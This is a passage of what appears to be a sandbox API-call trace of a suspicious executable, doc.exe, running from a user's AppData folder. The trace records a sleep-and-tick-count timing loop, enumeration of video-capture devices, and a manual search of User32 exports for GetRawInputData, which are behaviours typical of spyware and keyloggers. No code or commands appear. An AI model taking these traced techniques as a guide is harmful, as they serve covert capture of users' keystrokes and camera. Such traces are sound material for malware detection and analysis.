"c:\\windows\\syswow64\\en-us\\msvfw32.dll.mui") Region: id = 3777 start_va = 0x170000 end_va = 0x171fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "avicap32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\avicap32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\avicap32.dll.mui") Region: id = 3778 start_va = 0x370000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 3798 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3799 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3800 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3801 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3802 start_va = 0x660000 end_va = 0x660fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 3803 start_va = 0x670000 end_va = 0x670fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3816 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3817 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3818 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3819 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3820 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3821 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3822 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3823 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3824 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3825 start_va = 0x660000 end_va = 0x660fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 3826 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3827 start_va = 0x670000 end_va = 0x670fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3855 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3856 start_va = 0x710000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 3857 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3858 start_va = 0x720000 end_va = 0x720fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 3859 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3860 start_va = 0x730000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 3861 start_va = 0x740000 end_va = 0x740fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 3862 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3863 start_va = 0x720000 end_va = 0x720fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 3864 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3865 start_va = 0x730000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 3866 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3867 start_va = 0x720000 end_va = 0x720fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 3868 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3869 start_va = 0x750000 end_va = 0x750fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 3870 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3871 start_va = 0x730000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 3872 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3873 start_va = 0x720000 end_va = 0x720fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 3874 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3875 start_va = 0x740000 end_va = 0x740fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 3876 start_va = 0x760000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 3877 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3878 start_va = 0x740000 end_va = 0x740fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 3879 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3880 start_va = 0x750000 end_va = 0x750fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 3883 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 3884 start_va = 0x730000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 3885 start_va = 0x2810000 end_va = 0x2c10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Thread: id = 260 os_tid = 0xf2c [0290.082] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe\"" [0290.082] GetStartupInfoA (in: lpStartupInfo=0x28fac0 | out: lpStartupInfo=0x28fac0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0290.082] GetProcessHeap () returned 0x820000 [0290.082] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x8, Size=0x80) returned 0x83ed70 [0290.231] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xbc [0290.231] GetProcessHeap () returned 0x820000 [0290.231] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x38) returned 0x832d18 [0290.231] GetProcessHeap () returned 0x820000 [0290.231] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x14) returned 0x832d58 [0290.231] GetProcessHeap () returned 0x820000 [0290.231] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x28) returned 0x83d8e0 [0290.231] GetProcessHeap () returned 0x820000 [0290.231] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x8, Size=0x50) returned 0x83edf8 [0290.231] GetProcessHeap () returned 0x820000 [0290.231] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x8, Size=0xa0) returned 0x83ee50 [0290.232] CoInitialize (pvReserved=0x0) returned 0x0 [0290.562] CoCreateInstance (in: rclsid=0x4145e0*(Data1=0x62be5d10, Data2=0x60eb, Data3=0x11d0, Data4=([0]=0xbd, [1]=0x3b, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0xce, [7]=0x86)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x4173f0*(Data1=0x29840822, Data2=0x5b84, Data3=0x11d0, Data4=([0]=0xbd, [1]=0x3b, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0xce, [7]=0x86)), ppv=0x28fa80 | out: ppv=0x28fa80*=0x16f728) returned 0x0 [0291.672] SystemDeviceEnum:ICreateDevEnum:CreateClassEnumerator (in: This=0x16f728, clsidDeviceClass=0x4145d0*(Data1=0x860bb310, Data2=0x5d01, Data3=0x11d0, Data4=([0]=0xbd, [1]=0x3b, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0xce, [7]=0x86)), ppenumMoniker=0x28fa84, dwFlags=0x0 | out: ppenumMoniker=0x28fa84*=0x0) returned 0x1 [0293.559] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x150000 [0293.580] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x170000 [0293.581] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x180000 [0293.581] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x3f0000 [0293.582] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x660000 [0293.582] VirtualAlloc (lpAddress=0x0, dwSize=0x1, flAllocationType=0x3000, flProtect=0x4) returned 0x670000 [0293.582] GetProcessHeap () returned 0x820000 [0293.582] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x19) returned 0x847098 [0293.582] GetProcessHeap () returned 0x820000 [0293.582] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x19) returned 0x854770 [0293.582] GetProcessHeap () returned 0x820000 [0293.582] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x19) returned 0x854a18 [0293.582] GetProcessHeap () returned 0x820000 [0293.582] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x19) returned 0x8549f0 [0293.582] GetProcessHeap () returned 0x820000 [0293.583] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x19) returned 0x8549c8 [0293.583] GetProcessHeap () returned 0x820000 [0293.583] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x19) returned 0x8549a0 [0293.616] Sleep (dwMilliseconds=0x1) [0293.626] GetTickCount () returned 0xbfd334 [0293.626] Sleep (dwMilliseconds=0x1) [0293.642] GetTickCount () returned 0xbfd343 [0293.642] Sleep (dwMilliseconds=0x1) [0293.659] GetTickCount () returned 0xbfd353 [0293.659] Sleep (dwMilliseconds=0x1) [0293.673] GetTickCount () returned 0xbfd363 [0293.674] Sleep (dwMilliseconds=0x1) [0293.701] GetTickCount () returned 0xbfd372 [0293.701] Sleep (dwMilliseconds=0x1) [0293.706] GetTickCount () returned 0xbfd382 [0293.706] Sleep (dwMilliseconds=0x1) [0293.720] GetTickCount () returned 0xbfd391 [0293.720] Sleep (dwMilliseconds=0x1) [0293.736] GetTickCount () returned 0xbfd3a1 [0293.736] Sleep (dwMilliseconds=0x1) [0293.759] GetTickCount () returned 0xbfd3b1 [0293.759] Sleep (dwMilliseconds=0x1) [0293.766] GetTickCount () returned 0xbfd3c0 [0293.767] Sleep (dwMilliseconds=0x1) [0293.783] GetTickCount () returned 0xbfd3d0 [0293.783] Sleep (dwMilliseconds=0x1) [0293.798] GetTickCount () returned 0xbfd3df [0293.798] Sleep (dwMilliseconds=0x1) [0293.815] GetTickCount () returned 0xbfd3ef [0293.815] Sleep (dwMilliseconds=0x1) [0293.829] GetTickCount () returned 0xbfd3ff [0293.829] Sleep (dwMilliseconds=0x1) [0293.844] GetTickCount () returned 0xbfd40e [0293.845] Sleep (dwMilliseconds=0x1) [0293.861] GetTickCount () returned 0xbfd41e [0293.861] Sleep (dwMilliseconds=0x1) [0293.876] GetTickCount () returned 0xbfd42d [0293.876] Sleep (dwMilliseconds=0x1) [0293.891] GetTickCount () returned 0xbfd43d [0293.891] Sleep (dwMilliseconds=0x1) [0293.907] GetTickCount () returned 0xbfd44d [0293.907] Sleep (dwMilliseconds=0x1) [0293.923] GetTickCount () returned 0xbfd45c [0293.923] Sleep (dwMilliseconds=0x1) [0293.938] GetTickCount () returned 0xbfd46c [0293.938] Sleep (dwMilliseconds=0x1) [0293.954] GetTickCount () returned 0xbfd47b [0293.954] Sleep (dwMilliseconds=0x1) [0293.970] GetTickCount () returned 0xbfd48b [0293.970] Sleep (dwMilliseconds=0x1) [0293.985] GetTickCount () returned 0xbfd49b [0293.985] Sleep (dwMilliseconds=0x1) [0294.001] GetTickCount () returned 0xbfd4aa [0294.001] Sleep (dwMilliseconds=0x1) [0294.016] GetTickCount () returned 0xbfd4ba [0294.016] Sleep (dwMilliseconds=0x1) [0294.032] GetTickCount () returned 0xbfd4c9 [0294.032] Sleep (dwMilliseconds=0x1) [0294.047] GetTickCount () returned 0xbfd4d9 [0294.047] Sleep (dwMilliseconds=0x1) [0294.063] GetTickCount () returned 0xbfd4e9 [0294.063] Sleep (dwMilliseconds=0x1) [0294.079] GetTickCount () returned 0xbfd4f8 [0294.080] Sleep (dwMilliseconds=0x1) [0294.094] GetTickCount () returned 0xbfd508 [0294.094] Sleep (dwMilliseconds=0x1) [0294.110] GetTickCount () returned 0xbfd517 [0294.110] Sleep (dwMilliseconds=0x1) [0294.125] GetTickCount () returned 0xbfd527 [0294.125] Sleep (dwMilliseconds=0x1) [0294.141] GetTickCount () returned 0xbfd537 [0294.141] Sleep (dwMilliseconds=0x1) [0294.157] GetTickCount () returned 0xbfd546 [0294.157] Sleep (dwMilliseconds=0x1) [0294.172] GetTickCount () returned 0xbfd556 [0294.172] Sleep (dwMilliseconds=0x1) [0294.189] GetTickCount () returned 0xbfd565 [0294.189] Sleep (dwMilliseconds=0x1) [0294.203] GetTickCount () returned 0xbfd575 [0294.203] Sleep (dwMilliseconds=0x1) [0294.219] GetTickCount () returned 0xbfd585 [0294.219] Sleep (dwMilliseconds=0x1) [0294.234] GetTickCount () returned 0xbfd594 [0294.234] Sleep (dwMilliseconds=0x1) [0294.250] GetTickCount () returned 0xbfd5a4 [0294.250] Sleep (dwMilliseconds=0x1) [0294.267] GetTickCount () returned 0xbfd5b3 [0294.267] Sleep (dwMilliseconds=0x1) [0294.282] GetTickCount () returned 0xbfd5c3 [0294.282] Sleep (dwMilliseconds=0x1) [0294.298] GetTickCount () returned 0xbfd5d3 [0294.298] Sleep (dwMilliseconds=0x1) [0294.328] GetTickCount () returned 0xbfd5f2 [0294.328] Sleep (dwMilliseconds=0x1) [0294.344] GetTickCount () returned 0xbfd601 [0294.344] Sleep (dwMilliseconds=0x1) [0294.359] GetTickCount () returned 0xbfd611 [0294.359] Sleep (dwMilliseconds=0x1) [0294.375] GetTickCount () returned 0xbfd621 [0294.375] Sleep (dwMilliseconds=0x1) [0294.391] GetTickCount () returned 0xbfd630 [0294.391] Sleep (dwMilliseconds=0x1) [0294.407] GetTickCount () returned 0xbfd640 [0294.407] Sleep (dwMilliseconds=0x1) [0294.422] GetTickCount () returned 0xbfd64f [0294.422] Sleep (dwMilliseconds=0x1) [0294.437] GetTickCount () returned 0xbfd65f [0294.437] Sleep (dwMilliseconds=0x1) [0294.453] GetTickCount () returned 0xbfd66f [0294.454] Sleep (dwMilliseconds=0x1) [0294.470] GetTickCount () returned 0xbfd67e [0294.470] Sleep (dwMilliseconds=0x1) [0294.484] GetTickCount () returned 0xbfd68e [0294.485] Sleep (dwMilliseconds=0x1) [0294.500] GetTickCount () returned 0xbfd69d [0294.500] Sleep (dwMilliseconds=0x1) [0294.516] GetTickCount () returned 0xbfd6ad [0294.516] Sleep (dwMilliseconds=0x1) [0294.531] GetTickCount () returned 0xbfd6bd [0294.531] Sleep (dwMilliseconds=0x1) [0294.546] GetTickCount () returned 0xbfd6cc [0294.546] Sleep (dwMilliseconds=0x1) [0294.646] GetTickCount () returned 0xbfd6eb [0294.647] lstrlenA (lpString="IcjyyaJ0lW") returned 10 [0294.647] lstrlenA (lpString="IcjyyaJ0lW") returned 10 [0294.647] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.647] lstrcpyA (in: lpString1=0x700000, lpString2="IcjyyaJ0lW" | out: lpString1="IcjyyaJ0lW") returned="IcjyyaJ0lW" [0294.647] VirtualFree (lpAddress=0x150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.647] lstrlenA (lpString="IcjyyaJ0lW") returned 10 [0294.647] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x150000 [0294.648] lstrcatA (in: lpString1="", lpString2="IcjyyaJ0lW" | out: lpString1="IcjyyaJ0lW") returned="IcjyyaJ0lW" [0294.648] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="IcjyyaJ0lW") returned 0x14c [0294.648] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.648] lstrlenA (lpString="oO3qOGXmno") returned 10 [0294.648] lstrlenA (lpString="oO3qOGXmno") returned 10 [0294.648] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.648] lstrcpyA (in: lpString1=0x700000, lpString2="oO3qOGXmno" | out: lpString1="oO3qOGXmno") returned="oO3qOGXmno" [0294.648] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.648] lstrlenA (lpString="oO3qOGXmno") returned 10 [0294.648] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x170000 [0294.649] lstrcatA (in: lpString1="", lpString2="oO3qOGXmno" | out: lpString1="oO3qOGXmno") returned="oO3qOGXmno" [0294.649] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="oO3qOGXmno") returned 0x150 [0294.649] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.649] lstrlenA (lpString="KSfiWwlGpO") returned 10 [0294.649] lstrlenA (lpString="KSfiWwlGpO") returned 10 [0294.649] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.649] lstrcpyA (in: lpString1=0x700000, lpString2="KSfiWwlGpO" | out: lpString1="KSfiWwlGpO") returned="KSfiWwlGpO" [0294.649] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.650] lstrlenA (lpString="KSfiWwlGpO") returned 10 [0294.650] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x180000 [0294.650] lstrcatA (in: lpString1="", lpString2="KSfiWwlGpO" | out: lpString1="KSfiWwlGpO") returned="KSfiWwlGpO" [0294.650] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="KSfiWwlGpO") returned 0x190 [0294.650] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.650] lstrlenA (lpString="qWzawchkry") returned 10 [0294.650] lstrlenA (lpString="qWzawchkry") returned 10 [0294.650] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.650] lstrcpyA (in: lpString1=0x700000, lpString2="qWzawchkry" | out: lpString1="qWzawchkry") returned="qWzawchkry" [0294.650] VirtualFree (lpAddress=0x3f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.651] lstrlenA (lpString="qWzawchkry") returned 10 [0294.651] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x3f0000 [0294.651] lstrcatA (in: lpString1="", lpString2="qWzawchkry" | out: lpString1="qWzawchkry") returned="qWzawchkry" [0294.651] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="qWzawchkry") returned 0x194 [0294.651] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.651] lstrlenA (lpString="MIJSWUp0wU") returned 10 [0294.651] lstrlenA (lpString="MIJSWUp0wU") returned 10 [0294.651] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.651] lstrcpyA (in: lpString1=0x700000, lpString2="MIJSWUp0wU" | out: lpString1="MIJSWUp0wU") returned="MIJSWUp0wU" [0294.651] VirtualFree (lpAddress=0x660000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.652] lstrlenA (lpString="MIJSWUp0wU") returned 10 [0294.652] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x660000 [0294.652] lstrcatA (in: lpString1="", lpString2="MIJSWUp0wU" | out: lpString1="MIJSWUp0wU") returned="MIJSWUp0wU" [0294.652] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="MIJSWUp0wU") returned 0x198 [0294.652] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.652] lstrlenA (lpString="7CdQeA3mys") returned 10 [0294.652] lstrlenA (lpString="7CdQeA3mys") returned 10 [0294.652] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.652] lstrcpyA (in: lpString1=0x700000, lpString2="7CdQeA3mys" | out: lpString1="7CdQeA3mys") returned="7CdQeA3mys" [0294.652] VirtualFree (lpAddress=0x670000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.652] lstrlenA (lpString="7CdQeA3mys") returned 10 [0294.652] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x670000 [0294.653] lstrcatA (in: lpString1="", lpString2="7CdQeA3mys" | out: lpString1="7CdQeA3mys") returned="7CdQeA3mys" [0294.653] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="7CdQeA3mys") returned 0x19c [0294.653] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.718] GetProcessHeap () returned 0x820000 [0294.718] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x54) returned 0x857268 [0294.742] GetProcessHeap () returned 0x820000 [0294.742] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x7c) returned 0x858b00 [0294.827] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x1a0 [0294.827] LoadLibraryW (lpLibFileName="User32.dll") returned 0x766d0000 [0294.827] lstrcmpA (lpString1="ActivateKeyboardLayout", lpString2="GetRawInputData") returned -1 [0294.827] lstrcmpA (lpString1="AddClipboardFormatListener", lpString2="GetRawInputData") returned -1 [0294.827] lstrcmpA (lpString1="AdjustWindowRect", lpString2="GetRawInputData") returned -1 [0294.827] lstrcmpA (lpString1="AdjustWindowRectEx", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="AlignRects", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="AllowForegroundActivation", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="AllowSetForegroundWindow", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="AnimateWindow", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="AnyPopup", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="AppendMenuA", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="AppendMenuW", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="ArrangeIconicWindows", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="AttachThreadInput", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="BeginDeferWindowPos", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="BeginPaint", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="BlockInput", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="BringWindowToTop", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="BroadcastSystemMessage", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="BroadcastSystemMessageA", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="BroadcastSystemMessageExA", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="BroadcastSystemMessageExW", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="BroadcastSystemMessageW", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="BuildReasonArray", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="CalcMenuBar", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="CalculatePopupWindowPosition", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="CallMsgFilter", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="CallMsgFilterA", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="CallMsgFilterW", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="CallNextHookEx", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="CallWindowProcA", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="CallWindowProcW", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="CancelShutdown", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="CascadeChildWindows", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="CascadeWindows", lpString2="GetRawInputData") returned -1 [0294.828] lstrcmpA (lpString1="ChangeClipboardChain", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="ChangeDisplaySettingsA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="ChangeDisplaySettingsExA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="ChangeDisplaySettingsExW", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="ChangeDisplaySettingsW", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="ChangeMenuA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="ChangeMenuW", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="ChangeWindowMessageFilter", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="ChangeWindowMessageFilterEx", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharLowerA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharLowerBuffA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharLowerBuffW", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharLowerW", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharNextA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharNextExA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharNextW", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharPrevA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharPrevExA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharPrevW", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharToOemA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharToOemBuffA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharToOemBuffW", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharToOemW", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharUpperA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharUpperBuffA", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharUpperBuffW", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CharUpperW", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CheckDesktopByThreadId", lpString2="GetRawInputData") returned 